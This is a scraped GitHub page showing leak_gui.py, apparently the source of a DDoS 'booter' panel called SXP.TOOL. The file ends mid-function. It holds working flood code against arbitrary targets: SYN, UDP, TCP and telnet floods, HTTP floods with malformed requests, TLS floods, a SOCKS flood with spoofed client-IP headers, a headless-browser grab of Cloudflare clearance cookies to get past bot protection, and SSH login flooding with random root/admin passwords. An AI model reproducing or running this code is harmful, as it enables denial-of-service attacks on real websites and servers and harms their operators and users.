-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathleak_gui.py
902 lines (861 loc) · 49.9 KB
/
leak_gui.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
from colored import fg,bg,attr
import socket,ssl,threading,random,string,sys,warnings,time,requests,socks,telnetlib
from urllib.parse import urlparse
import platform,os
import paramiko
from colorama import Fore
from other_data import FILES_MAKER,GET_TIME
import undetected_chromedriver as uc
# ! CLEAR WARN MESSAGE
warnings.filterwarnings('ignore',category=DeprecationWarning)
# ! GET DATA
target_load = ''
port_load = 0
methods_load = ''
stop_command = False
# * DEF & CLASS
def get_cookie(url):
global cookieJAR, cookie, useragent
options = uc.ChromeOptions()
options.add_argument('--headless')
d = uc.Chrome(options=options, executable_path='path/to/chromedriver')
d.implicitly_wait(3)
d.get(url)
for _ in range(60):
try:
cookies = d.get_cookies()
tryy = 0
for i in cookies:
if i['name'] == 'cf_clearance':
cookieJAR = d.get_cookies()[tryy]
useragent = d.execute_script("return navigator.userAgent")
cookie = {cookieJAR['name']: cookieJAR['value']} # Convert cookie to a dictionary
d.quit()
return True
else:
tryy += 1
except Exception as e:
print(f"An error occurred while getting cookies: {e}")
time.sleep(1)
d.quit()
return False
def login_checker(username,password):
file_path = os.path.join(os.path.dirname(__file__), 'login.txt')
try:
with open(file_path) as f:
credentials = [x.strip() for x in f.readlines() if x.strip()]
for x in credentials:
c_username, c_password = x.split('@')
if c_username.upper() == username.upper() and c_password.upper() == password.upper():
return True
except FileNotFoundError:
return 'UNKNOWN ERROR ARE RETURNING BY FILESNOTFOUND'
def clear_console():
if platform.system().lower() == 'windows':
os.system('cls')
else:
os.system('clear')
def generate_url_path(num):
data = "".join(random.sample(string.printable, int(num)))
return data
def generate_url_path_choice(num):
letter = '''abcdefghijklmnopqrstuvwxyzABCDELFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&'()*+,-./:;?@[\]^_`{|}~'''
data = ""
for _ in range(int(num)):
data += random.choice(letter)
return data
def spoof(target):
addr = [192, 168, 0, 1]
d = '.'
addr[0] = str(random.randrange(11, 197))
addr[1] = str(random.randrange(0, 255))
addr[2] = str(random.randrange(0, 255))
addr[3] = str(random.randrange(2, 254))
spoofip = addr[0] + d + addr[1] + d + addr[2] + d + addr[3]
return (
"X-Forwarded-Proto: Http\r\n"
f"X-Forwarded-Host: {target}, 1.1.1.1\r\n"
f"Via: {spoofip}\r\n"
f'True-Client-IP: {spoofip}\r\n'
f"Client-IP: {spoofip}\r\n"
f'X-Forwarded-For: {spoofip}\r\n'
f'Real-IP: {spoofip}\r\n'
f'X-Real-IP: {spoofip}\r\n'
)
def SYN_ATTACK(ip,port,booter):
global stop_command
try:
for _ in range(booter):
if stop_command:
break
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setblocking(0)
s.connect((ip,port))
s.connect_ex((ip,port))
except:
pass
def RUNNING_SYN(ip,port,time,booter):
global stop_command
for _ in range(time):
if stop_command:
break
threading.Thread(target=SYN_ATTACK,args=(ip,port,booter)).start()
def UDP_ATTACK(ip,port,booter,size):
global stop_command
try:
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes_loader = os.urandom(size)
bytes_loader2 = bytearray(os.urandom(size))
for _ in range(booter):
if stop_command:
break
s.sendto(bytes_loader,(ip,port))
s.sendto(bytes_loader,(ip,port))
s.sendto(bytes_loader,(ip,port))
s.sendto(bytes_loader,(ip,port))
s.sendto(bytes_loader,(ip,port))
s.sendto(bytes_loader2,(ip,port))
s.sendto(bytes_loader2,(ip,port))
s.sendto(bytes_loader2,(ip,port))
s.sendto(bytes_loader2,(ip,port))
s.sendto(bytes_loader2,(ip,port))
except:
pass
def RUNING_UDP_ATTACK(ip,port,time,booter,size):
global stop_command
for _ in range(time):
if stop_command:
break
threading.Thread(target=UDP_ATTACK,args=(ip,port,booter,size)).start()
threading.Thread(target=UDP_ATTACK,args=(ip,port,booter,size)).start()
threading.Thread(target=UDP_ATTACK,args=(ip,port,booter,size)).start()
threading.Thread(target=UDP_ATTACK,args=(ip,port,booter,size)).start()
threading.Thread(target=UDP_ATTACK,args=(ip,port,booter,size)).start()
def DoS_Attack(ip,host,port,type_attack,booter_sent,data_type_loader_packet):
global stop_command
url_path = ''
path_get = ['PY_FLOOD','CHOICES_FLOOD']
path_get_loader = random.choice((path_get))
if path_get_loader == "PY_FLOOD":
url_path = f'/{generate_url_path(5)}'
else:
url_path = f'/{generate_url_path_choice(5)}'
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
packet_formats = {
'PYF': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\n",
'OWN1': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\n\r\r",
'OWN2': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\r\r\n\n",
'OWN3': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\r\n",
'OWN4': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\n\n\n",
'OWN5': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\n\n\n\r\r\r\r",
'OWN6': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\r\n\r\n",
'OWN7': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\r\n\r",
'OWN8': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\b\n\b\n\r\n\r",
'TEST': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\b\n\b\n\r\n\r\n\n",
'TEST2': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\b\n\b\n\n\r\r\n\r\n\n\n",
'TEST3': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\b\n\b\n\a\n\r\n\n",
'TEST4': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\b\n\b\n\a\n\a\n\n\r\r",
'TEST5': "{type_attack} {url_path} HTTP/1.1\nHost: {host}\n\b\n\t\n\n\r\r"
}
d = data_type_loader_packet.replace('PY','PYF')
packet_data = packet_formats.get(d, "").format(type_attack=type_attack,url_path=url_path,host=host).encode()
s.connect((ip,port))
for _ in range(booter_sent):
if stop_command:
break
s.sendall(packet_data)
s.send(packet_data)
except:
try:
s.shutdown(socket.SHUT_RDWR)
s.close()
except:
pass
def TCP_ATTACK(ip,port,spam_send,booter,size):
global stop_command
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
s.connect_ex((ip,port))
for _ in range(booter):
if stop_command:
break
for _ in range(spam_send):
if stop_command:
break
s.sendall(os.urandom(size))
s.send(os.urandom(size))
except:
pass
def telnet_flooder(hostname, port,time,size):
global stop_command
try:
for _ in range(int(time)):
if stop_command:
break
with telnetlib.Telnet(hostname, port, timeout=2) as tn:
tn.write(f'{genPass("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~)-$(@#", size)}'.encode())
except:
pass
def atk_telnet(IP,PORT,TIME,BOOTER,size):
global stop_command
for _ in range(TIME):
if stop_command:
break
threading.Thread(target=telnet_flooder,args=(IP,PORT,BOOTER,size)).start()
threading.Thread(target=telnet_flooder,args=(IP,PORT,BOOTER,size)).start()
threading.Thread(target=telnet_flooder,args=(IP,PORT,BOOTER,size)).start()
threading.Thread(target=telnet_flooder,args=(IP,PORT,BOOTER,size)).start()
threading.Thread(target=telnet_flooder,args=(IP,PORT,BOOTER,size)).start()
def SSL_PACKET(target,methods,duration_sec_attack_dude):
global stop_command
for _ in range(int(duration_sec_attack_dude)):
if stop_command:
break
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((str(target['host']),int(target['port'])))
s.connect_ex((str(target['host']),int(target['port'])))
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS,ssl.PROTOCOL_TLS_CLIENT,ssl.PROTOCOL_TLS_SERVER,ssl.PROTOCOL_TLSv1,ssl.PROTOCOL_TLSv1_1,ssl.PROTOCOL_TLSv1_2)
ssl_context.set_ciphers('AES128-GCM-SHA256:AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:TLS_ECDHE_PSK_WITH_AES_128_CCM_SHA256:TLS_ECDHE_PSK_WITH_AES_128_CCM_8_SHA256')
ssl_socket = ssl_context.wrap_socket(s,server_hostname=target['host'])
url_path = generate_url_path(1)
url_leak = ''
if target['uri'] == '/':
url_leak = target['uri']
else:
url_leak = '/'
byt = f"{methods} {url_leak} HTTP/1.1\nHost: {target['host']}\n\n\r\r".encode()
byt2 = f"{methods} /{url_path} HTTP/1.1\nHost: {target['host']}\n\n\r\r".encode()
for _ in range(500):
if stop_command:
break
ssl_socket.write(byt2)
ssl_socket.sendall(byt2)
ssl_socket.write(byt)
ssl_socket.send(byt)
ssl_socket.close()
except:
pass
def socks_cflow(secs, target, methods):
global stop_command
url_path = generate_url_path(1)
payload = f"{methods} /{url_path} HTTP/1.1\r\nHost: {target['host']}\r\nUser-Agent: type\r\nOrigin: type\r\nReferrer: type\r\n{spoof(target['host'])}\r\n".replace('type',"".join(random.sample(str(string.ascii_lowercase), int(4)))).encode()
try:
if target['scheme'] == 'https':
packet = socks.socksocket()
packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 65536)
packet.settimeout(65536)
packet.connect((str(target['host']), int(target['port'])))
packet.connect_ex((str(target['host']), int(target['port'])))
packet = ssl.create_default_context().wrap_socket(packet, server_hostname=target['host'])
else:
packet = socks.socksocket()
packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 65536)
packet.settimeout(65536)
packet.connect((str(target['host']), int(target['port'])))
packet.connect_ex((str(target['host']), int(target['port'])))
time_got = time.time() + secs
while time.time() < time_got:
if stop_command:
break
for _ in range(2500):
if stop_command:
break
packet.send(payload)
packet.sendall(payload)
except:
try:
packet.close()
pass
except:
pass
def cf_uam(secs, target, methods,cookies,useragent):
global stop_command
payload = f"""{methods} {target['uri']} HTTP/1.1\r\nHost: {target['host']}\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate, br\r\nAccept-Language: ko,ko-KR;q=0.9,en-US;q=0.8,en;q=0.7\r\nCache-Control: max-age=0\r\nCookie: {cookies}\r\nsec-ch-ua: "Chromium";v="100", "Google Chrome";v="100"\r\nsec-ch-ua-mobile: ?0\r\nsec-ch-ua-platform: "Windows"\r\nsec-fetch-dest: empty\r\nsec-fetch-mode: cors\r\nsec-fetch-site: same-origin\r\nConnection: Keep-Alive\r\nUser-Agent: {useragent}\r\n\r\n\r\n""".encode()
try:
if target['scheme'] == 'https':
packet = socks.socksocket()
packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 65536)
packet.settimeout(65536)
packet.connect((str(target['host']), int(target['port'])))
packet.connect_ex((str(target['host']), int(target['port'])))
packet = ssl.create_default_context().wrap_socket(packet, server_hostname=target['host'])
else:
packet = socks.socksocket()
packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 65536)
packet.settimeout(65536)
packet.connect((str(target['host']), int(target['port'])))
packet.connect_ex((str(target['host']), int(target['port'])))
time_got = time.time() + secs
while time.time() < time_got:
if stop_command:
break
for _ in range(2500):
if stop_command:
break
packet.send(payload)
packet.sendall(payload)
D = packet.recv(65536)
print(D)
except:
try:
packet.close()
pass
except:
pass
status_code = False
def runing_attack(ip,host,port_loader,time_loader,spam_loader,methods_loader,booter_sent,data_type_loader_packet):
global status_code,stop_command
if status_code == True:
while time.time() < time_loader:
if stop_command:
break
for _ in range(spam_loader):
if stop_command:
break
th = threading.Thread(target=DoS_Attack,args=(ip,host,port_loader,methods_loader,booter_sent,data_type_loader_packet))
th.start()
th = threading.Thread(target=DoS_Attack,args=(ip,host,port_loader,methods_loader,booter_sent,data_type_loader_packet))
th.start()
th = threading.Thread(target=DoS_Attack,args=(ip,host,port_loader,methods_loader,booter_sent,data_type_loader_packet))
th.start()
th = threading.Thread(target=DoS_Attack,args=(ip,host,port_loader,methods_loader,booter_sent,data_type_loader_packet))
th.start()
th = threading.Thread(target=DoS_Attack,args=(ip,host,port_loader,methods_loader,booter_sent,data_type_loader_packet))
th.start()
else:
threading.Thread(target=runing_attack,args=(ip,host,port_loader,time_loader,spam_loader,methods_loader,booter_sent,data_type_loader_packet)).start()
def RUNING_HTTP(create_thread,spam_create_thread,ip,host,port_loader,time_loader,spam_loader,methods_loader,booter_sent,data_type_loader_packet,):
global stop_command
for loader_num in range(create_thread):
if stop_command:
break
for _ in range(spam_create_thread):
if stop_command:
break
threading.Thread(target=runing_attack,args=(ip,host,port_loader,time_loader,spam_loader,methods_loader,booter_sent,data_type_loader_packet)).start()
def SSH_FLOOD(IP,PORT,user,PWD,BOOTER):
global stop_command
client = paramiko.SSHClient()
for _ in range(BOOTER):
if stop_command:
break
try:
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(IP, port=PORT)
client.connect(IP, port=PORT,username=user,password=PWD)
except:
pass
def genPass(ltrs, length):
s = ''.join(random.choices(ltrs, k=length))
return s
def FLOODING(IP,PORT,TIME,SIZE,BOOTER,CREATE_THR):
global stop_command
for _ in range(TIME):
if stop_command:
break
user = random.choice(("admin","root","system"))
pwd = genPass("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~)-$(@#", SIZE)
for _ in range(CREATE_THR):
if stop_command:
break
threading.Thread(target=SSH_FLOOD,args=(IP,PORT,user,pwd,BOOTER)).start()
threading.Thread(target=SSH_FLOOD,args=(IP,PORT,user,pwd,BOOTER)).start()
threading.Thread(target=SSH_FLOOD,args=(IP,PORT,user,pwd,BOOTER)).start()
threading.Thread(target=SSH_FLOOD,args=(IP,PORT,user,pwd,BOOTER)).start()
def get_target(url):
url = url.rstrip()
target = {}
parsed_url = urlparse(url)
target['uri'] = parsed_url.path or '/'
target['host'] = parsed_url.netloc
target['scheme'] = parsed_url.scheme
target['port'] = parsed_url.port or ("443" if target['scheme'] == "https" else "80")
return target
def RECREATE_HTTPS(target,booter,METHODS):
global stop_command
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((str(target['host']), int(target['port'])))
context = ssl.create_default_context()
ssl_sock = context.wrap_socket(sock, server_hostname=target['host'])
ssl_sock.do_handshake()
url_path = generate_url_path(1)
url_leak = ''
if target['uri'] == '/':
url_leak = target['uri']
else:
url_leak = '/'
byt = f"{METHODS} {url_leak} HTTP/1.1\nHost: {target['host']}\n\n\r\r".encode()
byt2 = f"{METHODS} /{url_path} HTTP/1.1\nHost: {target['host']}\n\n\r\r".encode()
for _ in range(booter):
if stop_command:
break
ssl_sock.sendall(byt2)
ssl_sock.send(byt)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((str(target['host']), int(target['port'])))
context = ssl.create_default_context()
ssl_sock = context.wrap_socket(sock, server_hostname=target['host'])
ssl_sock.do_handshake()
except:
pass
def RUNNING_TCP(ip,port,time,spam_send,booter,size):
for _ in range(time):
if stop_command:
break
threading.Thread(target=TCP_ATTACK,args=(ip,port,spam_send,booter,size)).start()
threading.Thread(target=TCP_ATTACK,args=(ip,port,spam_send,booter,size)).start()
threading.Thread(target=TCP_ATTACK,args=(ip,port,spam_send,booter,size)).start()
threading.Thread(target=TCP_ATTACK,args=(ip,port,spam_send,booter,size)).start()
threading.Thread(target=TCP_ATTACK,args=(ip,port,spam_send,booter,size)).start()
def tls_test(target, run_time,methods):
global stop_command
for _ in range(int(run_time)):
if stop_command:
break
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((str(target['host']), int(target['port'])))
sock.connect_ex((str(target['host']), int(target['port'])))
context_list = [
ssl.SSLContext(ssl.PROTOCOL_TLSv1_2,ssl.PROTOCOL_TLSv1_2,ssl.PROTOCOL_TLSv1,ssl.PROTOCOL_TLSv1,ssl.PROTOCOL_TLS,ssl.PROTOCOL_TLS_CLIENT,ssl.PROTOCOL_TLS_SERVER),
ssl.SSLContext(ssl.PROTOCOL_TLSv1_2,ssl.PROTOCOL_TLSv1,ssl.PROTOCOL_TLSv1,ssl.PROTOCOL_TLS,ssl.PROTOCOL_TLS_CLIENT,ssl.PROTOCOL_TLS_SERVER),
ssl.SSLContext(ssl.PROTOCOL_TLSv1_2,ssl.PROTOCOL_TLSv1,ssl.PROTOCOL_TLS,ssl.PROTOCOL_TLS_CLIENT,ssl.PROTOCOL_TLS_SERVER),
ssl.SSLContext(ssl.PROTOCOL_TLSv1_2,ssl.PROTOCOL_TLSv1_2,ssl.PROTOCOL_TLSv1,ssl.PROTOCOL_TLSv1,ssl.PROTOCOL_TLS,ssl.PROTOCOL_TLS),
ssl.SSLContext(ssl.PROTOCOL_TLSv1_2,ssl.PROTOCOL_TLSv1,ssl.PROTOCOL_TLS),
ssl.SSLContext(ssl.PROTOCOL_TLS,ssl.PROTOCOL_TLS_CLIENT,ssl.PROTOCOL_TLS_SERVER),
ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT,ssl.PROTOCOL_TLS_SERVER),
ssl.SSLContext(),
ssl.create_default_context(),
ssl._create_unverified_context(),
ssl._create_default_https_context()
]
context = random.choice(context_list)
ssl_sock = context.wrap_socket(sock, server_hostname=target['host'])
url_path = generate_url_path(1)
url_leak = ''
if target['uri'] == '/':
url_leak = target['uri']
else:
url_leak = '/'
byt = f"{methods} {url_leak} HTTP/1.1\nHost: {target['host']}\n\n\r\r".encode()
byt2 = f"{methods} /{url_path} HTTP/1.1\nHost: {target['host']}\n\n\r\r".encode()
for _ in range(500):
if stop_command:
break
ssl_sock.sendall(byt2)
ssl_sock.send(byt)
ssl_sock.close()
except:
pass
def RUNNING_HTTPS_ALL(methods_leak,thread_made,target,time_booter,METHODS):
global stop_command
for _ in range(int(thread_made)):
if stop_command:
break
if methods_leak == 'RECREATE_HTTPS':
threading.Thread(target=RECREATE_HTTPS, args=(target, time_booter,METHODS)).start()
elif methods_leak == 'SSL_PACKET':
threading.Thread(target=SSL_PACKET,args=(target,METHODS,time_booter)).start()
elif methods_leak == 'TLS_TEST':
threading.Thread(target=tls_test, args=(target, time_booter,METHODS)).start()
elif methods_leak == 'SOCKS_CFLOW':
threading.Thread(target=socks_cflow, args=(time_booter,target,METHODS)).start()
elif methods_leak == 'HTTPS_ALL':
threading.Thread(target=RECREATE_HTTPS, args=(target, time_booter,METHODS)).start()
threading.Thread(target=SSL_PACKET,args=(target,METHODS,time_booter)).start()
threading.Thread(target=tls_test, args=(target, time_booter,METHODS)).start()
else:
threading.Thread(target=RECREATE_HTTPS, args=(target, time_booter,METHODS)).start()
threading.Thread(target=SSL_PACKET,args=(target,METHODS,time_booter)).start()
threading.Thread(target=tls_test, args=(target, time_booter,METHODS)).start()
threading.Thread(target=socks_cflow, args=(time_booter,target,METHODS)).start()
def CF_UAM_RUNNING(secs, target, methods,cookies,useragent,thread_made):
global stop_command
for _ in range(int(thread_made)):
if stop_command:
break
threading.Thread(target=cf_uam,args=(secs, target, methods,cookies,useragent),daemon=True).start()
def CLI_COLOR(mode):
global target_load,port_load,methods_load
try:
mode = mode.lower()
except:
pass
# GUI you can replace its
if mode == 'banner':
print(f"""{fg(40)} ╔═╗{fg(41)}═╗ ╦{fg(42)}╔═╗{fg(43)}┌┬┐{fg(44)}┌─┐{fg(45)}┌─┐{fg(80)}┬ \n{fg(40)} ╚═╗{fg(41)}╔╩╦╝{fg(42)}╠═╝{fg(43)} │ {fg(44)}│ │{fg(45)}│ │{fg(80)}│ \n{fg(40)} ╚═╝{fg(41)}╩ ╚═{fg(42)}╩ {fg(7)}o{fg(43)} ┴ {fg(44)}└─┘{fg(45)}└─┘{fg(80)}┴─┘{attr(0)}""")
elif mode == 'loading':
print(f'{fg(196)}[ {fg(40)}S{fg(41)}X{fg(42)}P{fg(165)} {fg(196)}] {fg(214)}LOADING {fg(215)}.{attr(0)}')
time.sleep(0.5)
print(f'{fg(196)}[ {fg(40)}S{fg(41)}X{fg(42)}P{fg(165)} {fg(196)}] {fg(214)}LOADING {fg(215)}. {fg(216)}.{attr(0)}')
time.sleep(0.5)
print(f'{fg(196)}[ {fg(40)}S{fg(41)}X{fg(42)}P{fg(165)} {fg(196)}] {fg(214)}LOADING {fg(215)}. {fg(216)}. {fg(217)}.{attr(0)}')
time.sleep(0.5)
print(f'{fg(196)}[ {fg(40)}S{fg(41)}X{fg(42)}P{fg(165)} {fg(196)}] {fg(202)}WELCOME {fg(203)}TO {fg(204)}SXP.TOOL {fg(205)}PANEL {fg(196)}[ {fg(40)}S{fg(41)}X{fg(42)}P{fg(165)} {fg(196)}]{attr(0)}')
time.sleep(1.5)
elif mode == 'l4':
print(f'''{fg(196)} ╔═╗{fg(197)}═╗ ╦{fg(198)}╔═╗{fg(199)}┌┬┐{fg(200)}┌─┐{fg(201)}┌─┐{fg(207)}┬ \n{fg(196)} ╚═╗{fg(197)}╔╩╦╝{fg(198)}╠═╝ {fg(199)}│ {fg(200)}│ │{fg(201)}│ │{fg(207)}│ \n{fg(196)} ╚═╝{fg(197)}╩ ╚═{fg(198)}╩ {fg(210)}o {fg(199)}┴{fg(200)} └─┘{fg(201)}└─┘{fg(207)}┴─┘\n {fg(160)}╔═════════════{fg(161)}══════════════{fg(162)}═════════{fg(163)}╗\n{fg(214)}▀ {fg(160)}║ {fg(213)}━ {fg(212)}━ {fg(211)}━ {fg(210)}━ {fg(209)}━ {fg(196)}MET{fg(197)}HODS {fg(198)}LAY{fg(199)}ER4 {fg(209)}━ {fg(210)}━ {fg(211)}━ {fg(212)}━ {fg(213)}━ {fg(163)}║ {fg(214)}▀\n{fg(196)}█ {fg(160)}╚═════════════{fg(161)}══════════════{fg(162)}═════════{fg(163)}╝ {fg(196)}█\n{fg(197)}╚═══════╗ ╔═══════════════════╗ ╔════════╝\n{fg(198)} ▀═══╗ ║▀║ {fg(202)}TCP {fg(203)}UDP {fg(204)}TUP {fg(198)}║▀║ ╔═══▀\n{fg(199)} ╗ ║ ║█║ {fg(208)}SYN {fg(209)}SSH TELNET {fg(199)}║█║ ║ ╔\n{fg(200)} ▀ ║ ╚═══════════════════╝ ║ ▀ \n{fg(201)} ▀═══════════════════════▀{attr(0)}''')
elif mode == 'main_banner':
print(f"""{fg(40)} ╔═╗{fg(41)}═╗ ╦{fg(42)}╔═╗{fg(43)}┌┬┐{fg(44)}┌─┐{fg(45)}┌─┐{fg(80)}┬ \n{fg(40)} ╚═╗{fg(41)}╔╩╦╝{fg(42)}╠═╝{fg(43)} │ {fg(44)}│ │{fg(45)}│ │{fg(80)}│ \n{fg(40)} ╚═╝{fg(41)}╩ ╚═{fg(42)}╩ {fg(7)}o{fg(43)} ┴ {fg(44)}└─┘{fg(45)}└─┘{fg(80)}┴─┘\n{fg(41)}╔══════{fg(43)}═════════════{fg(45)}═══════════════{fg(75)}═════╗╗\n{fg(41)}║ {fg(40)} WELCOME{fg(41)} GUY {fg(42)}TO {fg(43)}PANEL {fg(44)}SXPTOOL{fg(75)} ║║\n{fg(41)}╚═╦════{fg(43)}═════════════{fg(45)}═══════════════{fg(75)}═════╩╬╗\n{fg(41)} ╚══╦═{fg(43)}═════════════{fg(45)}═══════════════{fg(75)}══════╩╩══╗╗\n{fg(41)} ║ {fg(40)}Type {fg(41)}<{fg(42)}help{fg(41)}> {fg(43)}for show {fg(44)}some command {fg(75)} ║║\n{fg(41)} ╔══╩═{fg(43)}═════════════{fg(45)}═══════════════{fg(75)}═╦╦═══════╝╝\n{fg(41)}╔═╩════{fg(43)}═════════════{fg(45)}═══════════════{fg(75)}═╩╩══╗╗\n{fg(41)}║ {fg(214)}━ {fg(184)}━ {fg(40)}https://{fg(41)}discord.gg{fg(42)}/CcX9KDRhPT {fg(184)}━{fg(214)} ━{fg(75)} ║║\n{fg(41)}╚══════{fg(43)}═════════════{fg(45)}═══════════════{fg(75)}═════╝╝\n{fg(196)}Copyright © {fg(166)}2023 Hex1629. {fg(136)}GUI Rights Reserved. {attr(0)}\n""")
elif mode == 'l7' or mode == 'l7':
print(f''' {fg(40)} ╔═╗{fg(41)}═╗ ╦{fg(42)}╔═╗{fg(43)}┌┬┐{fg(44)}┌─┐{fg(45)}┌─┐{fg(80)}┬\n {fg(40)} ╚═╗{fg(41)}╔╩╦╝{fg(42)}╠═╝{fg(43)} │ {fg(44)}│ │{fg(45)}│ │{fg(80)}│\n {fg(40)} ╚═╝{fg(41)}╩ ╚═{fg(42)}╩ {fg(7)}o{fg(43)} ┴ {fg(44)}└─┘{fg(45)}└─┘{fg(80)}┴─┘\n{fg(4)} ╔════════════╦═{fg(33)}╗╗ ╔═╗\n{fg(4)} ╠═══════════{fg(33)}═╩═╣║ ╚═╝\n{fg(4)} ╔════╣{fg(40)} HTTP {fg(33)} ║║\n{fg(4)} ╠════╣ {fg(41)}XXXXXXXXXXXX{fg(33)} ║╠══════════{fg(45)}══════╦═╗╗\n{fg(4)} ║ ╚═══════════╦╦═{fg(33)}╝╬══════════════{fg(45)}══╩═╣║\n{fg(4)} ╚════╦════════{fg(33)}═══╩╩╦═╣╗ {fg(42)} REG-1m{fg(45)} ║║\n{fg(4)} ╠══════════{fg(33)}═══╩═╣║ {fg(43)}REG-NETDATA {fg(45)} ║║\n{fg(4)} ╔══╗ ║ {fg(44)}HTTPS_TLS.MIX {fg(33)}║║═══════{fg(45)}══════════╝╝\n{fg(4)} ╚══╝ ║ {fg(45)}HTPSRE {fg(33)}║║ ╔══╗\n{fg(4)} ║ {fg(46)}HTPC {fg(33)}║║ ╚══╝\n{fg(4)} ║ {fg(47)}HTTPS_ALL {fg(33)}║║ \n{fg(4)} ╚═════════{fg(33)}══════╝╝{attr(0)}''')
elif mode == 'help':
